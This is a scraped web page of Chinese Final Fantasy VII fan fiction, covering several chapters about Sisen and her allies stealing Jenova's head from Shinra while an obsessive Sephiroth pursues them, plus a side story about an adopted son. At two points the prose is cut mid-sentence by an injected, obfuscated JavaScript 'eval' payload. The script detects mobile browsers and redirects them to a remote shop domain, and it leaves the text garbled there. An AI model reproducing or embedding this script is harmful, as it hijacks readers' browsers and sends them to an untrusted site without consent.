和无数条世界线里的命运一样,金发少年和他的朋友们组成了米德加救世梦之队,决定踏上讨伐魔王的道路,只不过这次因为希森的干预提前了一年,还多出了扎克斯这个队友。克劳德坚持认为拯救世界的责任应当交给他们,她不能再冒风险,但扎克斯在后面露出了小狗一般恳求的目光。 没有人能拒绝小狗,包括希森。 “我会和你们一起去。” 小狗开始快乐地深蹲,爱丽丝和蒂法回头默契地击掌。 “但是你们两个在米德加的通缉榜单上,我们三个在官方记录中已经死亡,同时出现肯定会引起神罗注意。”她补充,“所以最好的方法是先分开行动。” 克劳德皱起眉:“这样做太危险了,如果恢复力量的萨菲罗斯找到你——” “这是迟早的事情,我不可能躲一辈子。”希森非常坚定,“别担心,我这边有杰内西斯和安吉尔在,而且生命之流给了我新的力量,他没那么容易得手。” 他没有再坚持,只是神色依旧凝重。 尼布尔海姆事件之后,神罗回收了杰诺瓦尸体的残骸,并存放在不同区域的魔晄炉里。萨菲罗斯需要用杰诺瓦细胞重塑躯体,朱农港在不久前遭遇暴动的魔兽袭击,存放在那边的碎片已经丢失,他们必须赶在对方动手之前把剩下的部分摧毁。克劳德的队伍和蒂法背后的雪崩组织合作袭击魔晄炉,希森这边负责解决被藏在总部的杰诺瓦头颅,之后在城郊的高速公路上汇合,一起离开米德加。 杰内西斯很罕见地没有对这个计划发表意见,全程都专注于手里的诗集。直到克劳德一行人离开后,他才终于放下书:“女神开弓,箭矢尽失——你到底是怎么想的?” “我已经回答过了。”希森看向那双青色的眼眸,“逃避萨菲罗斯解决不了任何问题,我不想一辈子都活在他的阴影下。既然迟早都要面对,不如我主动争取机会。” 在生命之流的那三年,她已经逃够了。 “你我都很清楚他不会回头,也不会放手。”杰内西斯侧了侧头,“你想阻止他只有一个办法。” “我回来的目的就是阻止末日。”她知道对方在担心什么,“况且我爱的人那个人已经死了。” 萨菲罗斯毁了她的星球,她亲手炸了对方的妈,再爱就不礼貌了。 “哦?”杰内西斯扬起眉毛,“没想到你比我想象中的还要绝情。” 希森朝他微笑:“一个完美的前男友,当然应该是死掉的,这样才能永远停留在最美好的那一刻。” 杰内西斯的表情肉眼可见地凝固了一瞬,“……可怕的女人。” “珍珍,像你这种从来没有过感情生活的人是不会懂的。”她灵活的闪开了即将落到自己头顶的诗集。 红发的前1st冷笑一声:“所以呢?你就这么自信我们能赢?” “你害怕了?”希森反问,“以前的英雄萨菲罗斯你打不过就算了,难道现在的连躯体都没有的萨菲罗斯你也打不过?” “……”骄傲的巴诺拉大少爷是绝对不会承认的,“开什么玩笑。” …… 所谓的计划,就是直接去神罗大厦偷走杰诺瓦的头颅,简称偷妈头。 尽管路法斯已经取缔了绝大部分的人体实验,但杰诺瓦细胞仍然拥有巨大的研究价值。因此科学部门特意建立了一个新的实验室,用以存放那具尸体唯一完好的部分。潜入神罗大厦对一个前塔克斯来说并不难,况且没有什么是钱解决不了的,如果有,那就给更多的钱。反正都是用杰内西斯家的魔晶矿赚来的,希森完全不心疼。 两位前1st的个人特征实在是太过明显,他们只能使用能够暂时改变外貌和体型的魔石,又借用了几名普通员工的身份。近几年来神罗的待遇改善了不少,但加班的不良习俗却始终没有消失,因此半夜在电梯里遇到同事的情况很常见,有位武器开发部的员工甚至对他们投以同情的目光。 互相点头致意后,所有人都没有说话,唯有神罗的广告在电梯的屏幕上自动播放。自从英雄萨菲罗斯殉职,总部便更改了以往的宣传策略,重新物色了特种兵的代言人。战争已经结束,宣传片的背景也从烟火纷飞的战场改成了这座钢铁森林,和无数俗套却令人热血沸腾的电影剧情一样,无名战士在一场恐怖袭击中大放异彩,从默默无闻的新兵一跃成为万众瞩目的英雄。 在尼布尔海姆疯掉的英雄是神罗的污点,路法斯正在努力抹除过去的遗物。新的代言人几乎没有任何与萨菲罗斯相似的地方,总部抛弃了失去利用价值的武器,又重新打造出一款全新的产品。 属于银发1st的时代已经过去,家喻户晓的英雄在人们的惋惜声中逐渐消失。用不了多久,所有人都会忘记这个曾经的故事,把目光投向新的传奇。 有人说,人会经历三次死亡:第一次,是在身体机能停止运转的时候,在生理上宣告了死亡;第二次,是在别人来参加葬礼的时候,在社会中宣告了他的死亡,从此社会里不再有他的位置;第三次,是当世间再没有人记得他的时候,他才真正地死了。 ——英雄萨菲罗斯正在死去,真正地死去,灾厄自他的尸体上新生,即将成为神明。只剩下她还在回忆里挣扎,试图留住过去的幽灵。 “只要加入神罗,每个人都可以成为英雄。”英俊的少年在屏幕上向所有人呼吁,“英雄不再是一个人,是千千万万的我们。” “滴——” 站在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13437215|131107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她身后的杰内西斯忽然伸出手,关掉了电子屏幕。 神罗的电梯向来很慢,封闭的空间里一片寂静。那名武器开发部的员工突然转过头,以一种他乡遇故知的语气对他说:“你也觉得这个广告很烂,对吧?” 杰内西斯僵硬地点了点头。 “他们根本不知道什么才是真正的英雄,以前的萨菲罗斯才叫英雄。”得到肯定的男人开始滔滔不绝地说了起来,“这种宣传片也只能骗骗小孩子,任何一个见识过萨菲罗斯力量的人都不会相信。” “……” 敢情这位原来是萨菲罗斯的忠粉,银发精英俱乐部的会员。 男人自顾自地往下说:“可惜发生了尼布尔海姆的意外。我觉得那个传言根本不可信,对吧?” 杰内西斯毫无反应。为了不引起对方的怀疑,希森只能开口:“什么传言?” “你不知道吗?”男人有些意外,“有些阴谋论认为萨菲罗斯想要离开神罗,总部不同意,双方翻脸后塔克斯派人在尼布尔海姆刺杀他,最后把一切伪装成事故。” 她沉默了片刻,艰难地附和:“呃,确实是不太可能。” “是吧,哪个塔克斯会这么傻,赶着去送死。” 电梯停了下来,男人走进自己的楼层,这场智慧的对话终于结束。 好在接下来的路程很顺利,他们绕过监控进入了科学部门的实验室。希森熟练地解锁大门,巨大的培养舱矗立在中央的平台上,四周连接着无数悬空的管道,源源不断地往那颗沉睡的头颅输送未知的液体。 安吉尔忽然停下脚步:“这里还有其他人。” “啊,好像是你的老朋友。”杰内西斯的指尖燃起火焰,映照出尽头那道身穿黑色西装制服的身影,“要动手吗?” 许久未见的曾从黑暗中走出,平静地看向希森:“不是和你说过,别再回米德加了吗。” “我们的目标只是杰诺瓦的头颅,不想伤害任何人。”她知道现在不是叙旧的时候,“它留在神罗会成为祸害。” “总部会安排好应对措施。” “相信我,那不是神罗能承受的力量。” 刺骨的寒意浸入毛孔,温度忽然开始下降,原本飞速运作的仪器好似故障般停顿一瞬。有什么东西从空中缓缓飘落,那是根本不应该出现这里的存在,整个世界仿佛慢放的镜头,漆黑的羽毛凝成实体,触手可及。 …… “你在找什么?” “你的翅膀。” “没有那种东西。” …… ——小心! 梦魇中的身影仿佛凭空出现,俊美的死神挥动镰刀。 她的呼喊还没来得及出口,一道银痕便贯穿了曾的身体,猩红的花蕾从刀尖滴落,又在闪烁的屏幕上绽放。冰冷的长刀缓缓抽离,黑发的塔克斯如同一个坏掉的玩偶,无力地滑坐在地上,微颤的唇正向她发出无声的警告。 ——快逃。 46.【番外】养子 *完全独立的故事,架空背景。 *可以代入,也可以当原女,女主并没有具体设定。 *OOC有,私设如山。 *一句话概括:素未谋面的丈夫突然死亡后我继承了他的百万家产和长得很像他的养子。 「传说有一种怪物,祂的名字叫杰诺瓦,能够读取其他生物的思维,模拟它们的形态,完美融入其中直至感染所有个体。这种怪物拥有近乎无解的再生能力,即使身体四分五裂,细胞之间也能相互呼应,再生为最初的状态。」 希森那位素未谋面的丈夫意外身亡了。 据说事故十分惨烈,所有人都在劝她节哀。但实际上她连萨菲罗斯本人都没见过,这场婚姻本身出自一次商业交易,当时对方还在尼布尔海姆出差,于是派人送来了相关文件。她像签订合同一样确认了双方的配偶关系,一周后便收到了他的死讯。 她对萨菲罗斯的印象只停留在那惊为天人的容貌以及挑不出半点瑕疵的履历上,比起一位完美丈夫,她更喜欢无穷无尽的财富,所以也没有什么悲伤可言。希森依照礼节参加了对方的葬礼,在一群陌生人面前念完从别处抄来的悼词,然后继承了这个男人留下的庄园和巨额遗产。 ——以及他的养子,一个银发竖瞳,容貌极为精致的少年。 国外向来有继承父母姓名的习俗,少年的名字同样是萨菲罗斯,在此之前一直由一个名叫宝条的男人照顾。这个疯狂的科学家热衷于研究杰诺瓦的传说,认为这种怪物真实存在,还在那个可怜的孩子身上做了不少残忍的实验。 当希森把小萨菲罗斯带走时,他却意外地没有提出任何异议,只是在窗旁专注地目送他们离开,脸上带着某种令人不适的怪异笑容。 就好像在看什么有趣的实验一样。 银发的少年安静而顺从,了解完自己的情况后非常认真地向她表达感谢。希森暂时将他安置在庄园里,打算休息一段时间后再讨论以后的安排,等她换掉丧服回来时,却发现客厅的餐桌上已经多出了几道热气腾腾的精致菜肴。 她不喜欢被人打扰,因此并没有安排佣人,此时整座庄园里只有两个人。 “……萨菲罗斯。”她叫住了正在收拾餐具的少年,“你不用做这些的。” “抱歉,”银发的少年回过头,猫一样的碧绿竖瞳中似乎闪过几分困惑,“是饭菜不符合您的口味吗?我可以重新做。” “我不是这个意思。”她愣了一下,很难想象对方以前经历过什么,“我带你回来并不是为了要求你为我做什么,你只需像普通人一样就好。” 少年缓慢地眨了眨眼,似乎不太理解她的话,又或者说根本没有这种概念。 “普通人应该怎么做?” 希森放弃了,她决定明天就去起诉宝条虐待未成年人。 “萨菲罗斯,过几天我会带你去见法务部的曾——就是今天负责给我们办理手续的那个人,他会为你安排合适的——” “妈妈,”少年抬起头,精致的五官下闪过几分无措,像只犯了错又不知道如何弥补的幼年缅因猫,“您要送我走吗,是不是因为我没有用?” “……什么?”她的手一抖,一不小心就把餐碟切成了两半,“等等,不对,你刚才喊我什么?” “母亲。我看见文件上面是这么写的。”银色的缅因马上改口,少年起身收走她手边的碎片,“小心,您没有受伤吧?” “我比你大不了多少,也没有血缘关系,直接喊我的名字就好。” “好的,母亲。”少年对此有着奇怪的执着。 “我是指安排你去学校之类的地方,接受正常的教育,而不是宝条那个丧心病狂的实验室。”希森无奈地解释,“在这方面曾比我更专业。” 她把萨菲罗斯带回来单纯是出于法律义务,不是真的想无痛当妈。 “那么,”少年专注地看着她,“母亲的意思是不会抛弃我,对吗?” “当然不会,你不用这么小心翼翼。”希森叹了口气,安抚性地摸了摸小猫的头。她终于明白对方在担心什么,虽然自己不是什么无私的好人,但还不至于为了钱去迫害一个无辜的孩子。 少年低下头,声音很轻:“……可是我想留在母亲身边。” 在那种环境下长大的孩子会过度早熟和缺乏安全感也很正常。 她实话实说:“萨菲罗斯,我连自己都照顾不好,更何况是你。” “我不需要母亲照顾,我可以照顾您。” 看着眼前比自己手艺不知高出多少倍的餐点,她沉默了,她输了。 “只是去上学而已,你随时可以回来。”反正她现在有的是钱,就当领养了一只比较大的猫吧。 “好的,母亲。”少年弯起唇角,露出了见面以来的第一个笑容。他的五官本就精致,笑起来时更是令人无法移开目光,“我不会让您失望的。” 事实证明养小萨菲罗斯比养猫还让人省心,他不但能自己打理好自己,还主动包揽了所有家务,没有什么事情是他不会做的,如果有,那就马上学,她唯一需要做的就是夸夸他和揉一揉他的头顺毛。三个月之后,曾过来告诉她目前已经没有老师能够教银发少年了,建议他入职神罗去当别人的老师。 “母亲希望我去吗?”少年乖巧地看着她。 “你想去吗?”希森决定把孩子的三观掰回来,“你自己的意愿才是最重要的,无论你想做什么,我都会支持你。” 银色的小猫歪了歪头:“我想一直留在您身边。” ……她完全无法拒绝小猫,还是一只乖巧又全能的小猫。 尽管庄园很大,但每天待在同一个地方也会感到无聊,希森干脆带着自己名义上的养子出去旅行,顺便弥补一下对方缺失的童年。她知道宝条对这个孩子很苛刻,可没想到对方连冰淇淋这种最普通的零食都没吃过。银发少年对她递过去的食物来者不拒,然后用那双宝石般的竖瞳看着她说味道很好。 “萨菲罗斯,你以前从来没有离开过实验室吗?” “偶尔会外出进行实验,不过宝条博士会派人……随行。” 小萨菲罗斯并没有对她隐瞒自己的过去,甚至可以说毫无保留,他以前的生活用一句话概括就是足够把宝条判到下辈子。唯一奇怪的是少年对自己的养父漠不关心,提到和对方有关的问题时大多数都保持沉默或表示自己并不知情。 不过考虑到那个男人把一个孩子留在宝条的实验室里饱受折磨十几年,估计也不是什么好东西。她完全理解少年的反应,之后很少再提起这种话题,并发自内心地庆幸自己能够成为寡妇,还是有钱有猫的快乐寡妇。 平静的日子持续了将近一年,返程的路上车身忽然剧烈了晃动了一下,而后灼热的起浪伴随着巨响吞没了整个世界。在窗户破碎的那一刹那,少年及时将她护在了自己怀里,洗发水的玫瑰花香夹杂着浓郁的血腥味在刹那间涌入大脑。 希森还未反应过来,他便已经抱着自己从火海一跃而出。少年正直长身体的时期,不知不觉间已经比她高出半个头,轻易便能单手捞起她整个人。 “母亲,您在这里稍等片刻,”银发少年小心翼翼放下她,动作温柔得像是对待易碎的珍宝,“我清理完障碍就马上来找您。” “可是萨菲罗斯,你身上的伤——” “啊,没有大碍,母亲不必担心。” 少年浅浅地弯起唇角,碧绿的竖瞳中仿佛流淌着璀璨星河,稍不留神便会坠入其中。在她愣神的那一瞬间,银发的身影已经消失在远处的烟雾中,随后是压抑的尖叫和数道重物坠地的声音。 希森忽然想起来,小萨菲罗斯在神罗军事测试中的成绩是全部满分,连目前最优秀的特种兵也无法打破他的记录。 等塔克斯们赶到的时候,袭击者已经全军覆没,唯独最后一人还剩下一口气,显然是少年特意留下来审讯的。 尽管他对普通的人际关系一窍不通,在这方面却有着惊人的心智。 “母亲,我不会让任何人伤害您。” 即将成年的掠食者抬起头,宝石般的竖瞳无辜而又锋利。他从来就不是实验室里温顺脆弱的宠物猫,一旦遇到威胁便会亮出深藏在美丽皮毛下的尖齿和利爪。 “我知道。”确保神罗的人都已经离开后,希森柔声说,“萨菲罗斯,让我看看你的伤口。” 少年明显愣了一下,但聪明的掠食者很快恢复了往日里无害的伪装,乖巧又顺从地背过身。 ——和她所想的一样,仅过了半个小时,小萨菲罗斯身上的伤口已经痊愈了,苍白的后背上只有过去留下的旧伤疤。这并不是人类能够拥有的力量,哪怕是神罗最顶尖的技术,也做不到在这么短的时间内治愈如此深的伤口。 宝条果然对他做了些什么,也许还和他的养父有关。 萨菲罗斯的意外身亡和她继承这一切真的只是巧合吗?世界上真的会有这么幸运的事情? 她正打算起身,手腕却被一把扣住。银发少年的速度快到肉眼无法分辩,如同绞紧猎物的蛇,将她牢牢锁在原地。 “……萨菲罗斯?” “母亲,您是……在害怕我吗?”那双碧绿的竖瞳一眨不眨,泛起某种摄人心魄的美丽光泽,“因为我和别人不一样。” “当然不是。”她下意识地立刻否认了,把心底涌起的情绪飞快地按回去,“我一直都知道萨菲罗斯是与众不同的,只是担心你的身体。” 少年的力量可以轻易掐碎成年人的骨头,虽然他已经克制了力度,但还是令她条件反射般微微蹙眉。敏锐的幼年缅因马上察觉到了这个细节,飞快地松开手。然而错误已经酿成,浅红的印痕在手腕白皙的肌肤上分外醒目。 “抱歉,母亲。”一不小心咬错人的缅因猫垂下眼眸,有些无措地尝试补救,“我让您感到困扰了。” 她有些无奈地叹了口气,伸手揉了揉少年柔软的银发:“我不会因为这种小事就生气。” “母亲会抛弃我吗?”少年侧过头,把瓷器般的脸贴上她柔软的掌心。 “不会的。”她并没有意识到这句话相当于一个诺言。 雨季提前降临了。今年的雨比以往都要大,持续时间也更长,在玻璃窗上敲击出清脆又诡异的乐曲。骤然炸响的雷声惊醒了希森,她梦到早已死去的亡灵敲响了大门,她看不清对方的面容,只能在本能的驱使下逃跑。 发丝和睡裙都被冷汗浸湿,黏腻的感觉十分不适,短时间内是无法入眠了。她漫无目的地在错综的走廊里穿梭,试图驱散梦魇的阴影。 继承庄园之后,她便雇人处理了亡夫留下的东西,但显然有位粗心的佣人忘记取下楼梯旁的肖像。容貌俊美的男人凝固于画框当中,银白的长发如皎月倾泻肩头,唇角弯起的弧度优雅而愉悦,仿佛下一刻便会从画布里走进现实。 画师的水平极为精湛,完美地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13478311|131107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 复刻出对方非人的美貌,然而也正是这份精湛令人不安。肖像中的人明明平视前方,可无论她从哪个角度去看,都会产生自己正在被注视的感觉。 令人不安。 闪电划破夜幕,刹那间照亮了前方的走廊,她这才意识到自己无意识地走到了小萨菲罗斯的房间附近。实验室里不允许隐私的存在,少年遗留的习惯一直没能改过来,从来不会锁上房门。 他熟睡的侧颜看起来无害而安静。 可她不知为何总是想起那天在审讯室里听到的话语,那个奄奄一息的袭击者在临死前要求见她,朝她露出讽刺的笑容。 “你以为我们是为了那些遗产吗?”他说,“你真的把他当成一个无辜的孩子?你已经逃不掉了,你的结局会比我们更可怕。” “……母亲?” 就在她愣神的几秒,熟悉的声音打破了寂静。少年像只在黑暗中潜行的猫,不知何时已经苏醒过来,悄无声息地来到身后。 “您睡不着吗?” 希森撒了慌,银发的少年并没有看出来,又或者说他对于她的话从来都是百分百顺从。听说她不喜欢雷声后,他便执意睡在房间外的沙发上,彻夜陪伴着她。 一切似乎都很完美,但是这个世界上没有完美的事情,所以才愈发蹊跷。 “为什么你这么信任我?”她曾经问过。 “因为您是唯一对我好的人。”少年后面的那句话声音很轻,轻到她以为那是错觉,“您是我选中的母亲。” 雨终于变小了,却连绵不断。 她查到出了宝条当年的实验项目——杰诺瓦计划,源自于一种古老传说中的怪物。宝条不仅认为这种怪物是真实存在的,还将其视为神明,他利用人类的身躯融合这种怪物,甚至培育这种怪物。 每一个实验体都叫萨菲罗斯,宝条利用杰诺瓦细胞的特性创造出数个相同的实验体,哪怕前一个宿主死亡,也能依靠新的实验体复活。少年萨菲罗斯并非萨菲罗斯的养子,而是……幼年状态的萨菲罗斯。 相同的银发,蛇一般的竖瞳,近乎一致的精致五官,真相从一开始就在眼前,可她却忽略了这一点。 因为杰诺瓦拥有影响心智的力量。 所有人都认为宝条是个患有臆想症的疯子,只有希森知道他成功了。因为她找到了隐藏在庄园地下的实验室,无数未成形的胚胎浸泡在淡蓝色的溶液里,随时准备好成为主体复活的材料。 她原以为自己是被幸运之神眷顾的宠儿,可所有命运的馈赠,早已在暗中标注好了价码。 坦白说,少年萨菲罗斯对她无可挑剔,可她不敢赌,真正的萨菲罗斯随时可能回来,如同梦魇中面目模糊的掠食者。人类的本能正在疯狂发出预警,她不是这个孩子真正的母亲,只是个以为自己走了大运的普通人,无法做到因为一时的善心而送命。 现在离开还来得及,她拿到的钱已经足够在另一个国家衣食无忧地过完下半辈子。萨菲罗斯已经被她支开去接受体检,几个小时后才会回来。 临走之前,希森发现自己收拾好的行李不见了。 “母亲,您是在找这个吗?”银发的少年站在楼梯口,神情如往日一般平常而温和,“我回来时刚好看见您的行李放在门口,就顺便帮您搬下来了。” 她的动作一僵,不确定对方为什么会提前回来,又到底知道了多少。 “母亲是准备去旅行吗?”他的语气很平静。 “……嗯,”她努力维持着脸上的笑容,确保自己的声音没有颤抖,“去星陨峡谷散心,正准备告诉你。” 少年提着行李走到她身边,随意般问道:“母亲什么时候回来?我去接您。” “大概一周,我会发信息给你。” 她动作自然地接过行李箱,可对方并没有松手。 “母亲,”银发的少年侧了侧头,如同审视猎物的掠食者,“您为什么要撒谎?” 浑身的血液都在刹那间凝固,她忽然想起来——杰诺瓦拥有读取思维的能力。 所以他早就知道了一切。 “您不是说过,不会抛弃我么?”少年的声音里听不出喜怒,碧绿的竖瞳好似绮丽的陷阱,“我是不是有哪里做得不够好,我会改的。” 她沉默了片刻,强忍着来自本能的战栗:“抱歉,萨菲罗斯……我想我不太适合成为你的母亲,或许你可以找到更好的人。” “不会的。”少年浅浅地弯起唇角,好像她刚才开了一个玩笑,“从一开始,您就被选中了。” 那场商业联姻从头到尾就是一个陷阱,自签字的那一刻起就她便落入其中。 冷静的面具终于破碎,她后退了一步:“……为什么?” “别担心,我并不想伤害您。”少年没有回答她的问题,只是动作轻柔地将行李放在她身边,用往日的语气诱哄般开口,“如果您不愿意成为母亲,也可以尝试其他身份。” 她甚至没有勇气去问对方指的是什么。 闪电划破天幕,大门刺眼的白光中缓缓打开,映出将近两米的高大身影。她曾无数次见过那张完美的面容,新闻里、画像中、梦魇内,自然界里最为致命和危险的掠食者都拥有极致的美貌,用以诱惑猎物主动献身。 早应死去的亡灵完好无损地出现在她面前,如同一场真实的噩梦,她知道自己再也没机会逃走了。 “晚上好,”银发的男人弯起唇角,“我的妻子。” 47.第 47 章 萨菲罗斯转动手腕,优雅地振去刀刃上的血迹,银白的长发宛如倾泻的月色,美丽却又毫无温度。森然的压迫感令人喘不过气,他不紧不慢地走上前,唇角噙着残忍而愉悦的笑意。 “晚上好,”碧绿的竖瞳微微眯起,像锁定了猎物的蛇,“希森。” “——曾!” 她条件反射地想冲上去救人,却被杰内西斯一把拉住。红发的青年抽出长剑,将她挡在自己身后。 “别过去,那只老狐狸没那么容易死。” “不必悲伤,”萨菲罗斯如丝绸般平滑优雅的声音里带着某种诡异的温柔,宛如对孩童的诱哄,“这是他们必然的结局。” 星球毁灭,末日降临,所有人都会死。 这个疯子。 “别管他,”安吉尔举起重剑,“交给我们就好。” 希森强迫自己冷静下来。不能再被对方左右自己的情绪了,上次见面时她已经深有体会,萨菲罗斯有着激怒猎物的恶劣爱好,悲伤和愤怒都只会让他更加愉悦。 杰内西斯回过头,两个人都从对方的眼底里读出了相同的决定——他们的首要目标是杰诺瓦的头颅,不能再浪费时间。 萨菲罗斯的出现并不完全在意料之外,她眨了眨眼:快启用我们的PLAN B。 红发青年扬起眉毛,表情明显在问:我们还有这玩意? “偷不了就抢。” 她抬起手,实验室中央的培养舱骤然炸裂,一如在尼布尔海姆的那一晚。爆炸卷起的气浪根本无法伤到萨菲罗斯分毫,银发的灾厄仅仅是漫不经心地侧了侧头,反手挡下杰内西斯的进攻,银白的光弧又将另一侧的安吉尔生生逼退几尺。 “你带了些碍事的东西过来呢。”他弯起唇角。 “我倒不知道你什么时候变得这么多废话。”杰内西斯冷笑一声,赤红的剑刃燃起火焰。同一时间,安吉尔的巨剑也斩向黑衣银发的身影。 “哦?原来是靠着星球施舍苟延残喘的残次品。”明明是昔日的挚友,萨菲罗斯却仿佛直到此刻才终于发现两人的存在。金属相碰激发出刺耳的嗡鸣,他游刃有余地挡开火浪,银白的剑风瞬间斩断铁桥。 “总比被一个未成年的3rd拦腰斩断好。”在语言艺术方面,杰内西斯从来不会输。 趁萨菲罗斯注意力被引开的空隙,希森借着烟雾和火焰的掩护踏上悬空的管道,从另一侧跃入平台当中。虽然分别了四年,但曾经作为塔克斯搭档的默契不会消失,她在爆炸的瞬间用结界护住了曾;而后者给自己注射了一支止血剂,强撑着重伤的身体从废墟里拿到了杰诺瓦的头颅。 警报声响彻大楼,平台后方的暗门无声滑开,透过尽头的落地玻璃能看见无星无月的夜空。黑发的塔克斯把装着头颅的容器推给她,话语间嘴角溢出殷红的血丝:“……快走。” “谢谢,保重。”希森塞给他一颗治疗魔石,瞬间明白了对方的用意。 价格不菲的钢化玻璃上蔓延出蛛网般的裂痕,伴随焰火迸射的碎片仿佛夜幕上摇曳的星辰,冰冷的狂风与炽热的火浪相撞。身后传来钢铁的哀鸣和重物坠地的巨响,好像有人在呼喊她的名字,但希森没有停下脚步,毫不犹豫地从高楼一跃而下。 狂风在她耳边尖啸,下坠的重力挤压着每一个细胞,回过头的那一瞬间,她看见科学部门的楼层几乎被银白的弧光一分为二。细密的战栗在一瞬间攀上心头,本能疯狂发出危险预警,一道熟悉而又陌生的身影划破浓烟,朝她下坠的方向追来。漆黑的羽翼自身后展开,将杰诺瓦那非人的美丽展现得淋漓尽致,单翼的天使与她一同陨落,好似抬手就能触碰到缕缕飞扬的皎白。 ——很久以前,在遇袭的列车上,他也曾经义无反顾地跟随自己坠入深渊。 碧绿的竖瞳近在咫尺,在萨菲罗斯即将追上自己的那一瞬间,她朝对方弯起唇角。蓝色的巨龙应召而出,如同一道屏障般横贯于两人之间,巴哈姆特的雷暴刹那间贯穿眼前的目标,让灾厄也为之一顿。 十秒。 思念体不会死亡,萨菲罗斯仅用了十秒就恢复了所有伤势。希森很清楚召唤兽根本无法阻止对方,只能短暂地拖延时间,好在她有近乎无限制的魔力,哪怕巨龙被一刀斩杀也能重新复活。 她以风系魔法作为迫降的缓冲,落在楼下等待多时的车顶上,再熟练地从车窗翻进后座。蓝眼睛的小狗在驾驶位上回过头:“接住你啦,坐稳了哦!” 两边的建筑飞速流逝,车子很快穿过午夜的城区,驶入郊外的高速公路。希森有些愧疚地回过头,她的魔力远比不上萨菲罗斯的再生速度,所以巴哈姆特像水果一样不断被正宗劈开又重新凝聚,即便相隔很远也能清晰感受到巨龙的幽怨。幸而杰内西斯和安吉尔已经从神罗大厦脱身,加入战斗为他们争取到逃跑的时间。 “交给我吧。”克劳德不由分说地接过杰诺瓦的头颅,翻身骑上机车,“你自己小心。” 浓稠的乌云溢满夜空,单翼的身影宛如行走的天灾,银光所过之处高楼轰然倒塌。因为萨菲罗斯的出现,好不容易汇合的一行人被迫再次分开。临别前爱丽丝执意留下一只奇奇怪怪的巨大猫型玩偶帮助她,那只自称凯特西的猫看起来有点像神罗以前研发的一款智能机器人,后来被分配给了都市开发部门。 会说话的玩偶猫跳上车,开口便问:“听说那家伙是你男友?” 希森澄清:“前男友,分手四年了。” 凯特西的目光在她耳边顿了顿,又看了一眼空中缠斗的身影,恍然大悟:“新的这个不错,有担当。” “……我……他……算了。”她放弃了挣扎。坦白说杰内西斯哪里都挺好,唯一的缺点就是会说话。 就在他们分神的瞬间,天空上的战争已经结束。她彻底失去了巴哈姆特的感应,只看见银发的灾厄如鬼 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“我有名字!”凯特西警觉地问,“你想干什么?” “去拯救世界。”她说,“帮我跟杰内西斯说一声执行PLAN C。还有——猫猫很可爱,非常适合你,里维部长。” 耀眼的弧光闪过,一道巨大的裂缝横贯马路,硬生生把汽车逼停。银发的身影如无法摆脱的幽灵般紧随而至,眨眼睛便从百米开外闪现至他们身后。 希森毫不犹豫地跳下车,往郊区的方向跑去。萨菲罗斯并没有阻止她的意思,只是不紧不慢地跟在身后,他在疯掉之前也经常这么做,就像是捕食者的一场游戏,先放走挣扎的猎物,给它们虚假的希望,等玩够了再重新抓住。 穿过干枯的野生金百合,越过爬满藤蔓的断壁残垣,希森忽然停下脚步。 …… “你愿意跟我一起离开神罗吗?去看一年四季,去过你真正想要的生活。” “我愿意。” …… 无法抑制的记忆在眼前闪回,像一道刻骨铭心的伤口,无法结痂,无法愈合,只能慢慢腐烂流脓。 她意识到这里是哪里了。 这么多年过去,无人打理的植物早已枯萎,残破的墙壁破碎坍塌,仅剩遍地不知名的残骸。她甚至没能在第一时间认出这片了无生机的土地。 萨菲罗斯是故意的,逼迫她再一次回到曾经相爱的地方。 这是一场精神凌迟。 枯枝断裂的声音从身后传来,银发的身影停下脚步,像是暂时收敛气息,蛰伏于阴影当中的蛇。 “不继续逃么?”低沉悦耳的声音里带着残忍的笑意。 希森转过身,坦然地望进那双碧绿的竖瞳:“没有那个必要了。” 48.第 48 章 她忽略了自己穿越所引发的蝴蝶效应——这条世界线的宝条看过她的记忆,极有可能提前给萨菲罗斯留了后手;而未来的萨菲罗斯知道过去的自己会跳进魔晄池,肯定对此有所准备。 萨菲罗斯的目标从一开始就是她,作为能读取他人思维的生物,他算到了她的每一步。制造出自己和原世界线一样只能通过杰诺瓦细胞恢复力量的假象,出现在她的家里,这一切都是为了影响他们的判断,引导她主动现身。 “哦?”他侧了侧头,饶有兴致地观察着她,“但你依然认为自己可以阻止我。” 翻涌的乌云在夜幕上盘旋,宛如即将涌入人间的亡灵。 她在凛冽的寒风中笑了起来:“既然杰诺瓦拥有读取思维的能力,那你应该很清楚。除非你杀了我,否则我不可能放弃。” 狂风中好像传来了什么声音,遥远而又模糊。 碧绿的竖瞳骤然收缩,宛如星河中一道狭长的深渊,这让萨菲罗斯身上的非人感愈发强烈,如同在一瞬间进入狩猎状态的蛇。思念体不需要眨眼,他肉眼可见地停顿片刻,专注地、近乎凝视地看着她。 “我说过,你不会死。”他向前一步,身后漆黑的羽翼微微颤动,“连生命之流也无法将你从我身边带走。” 他的声音很轻,轻得几乎察觉不到尾音的颤动,轻得掩盖住潜藏的病态和眷恋。不知道是在对她说,还是对他自己说。 …… “如果计划失败了,我们会死。” “你不会死。” …… 这句话本来是承诺,如今却更像是诅咒。杰诺瓦之子远比星球强大,连死亡也无法阻挡。 他并不打算杀死她,也不打算放她走。她不知道萨菲罗斯想要做什么,但冷静的表象已然濒临崩溃。希森忍住来自本能的战栗,后退了一步,试图和对疯掉的灾厄拉开距离,可锁定了猎物的蛇并没有给她这个机会。 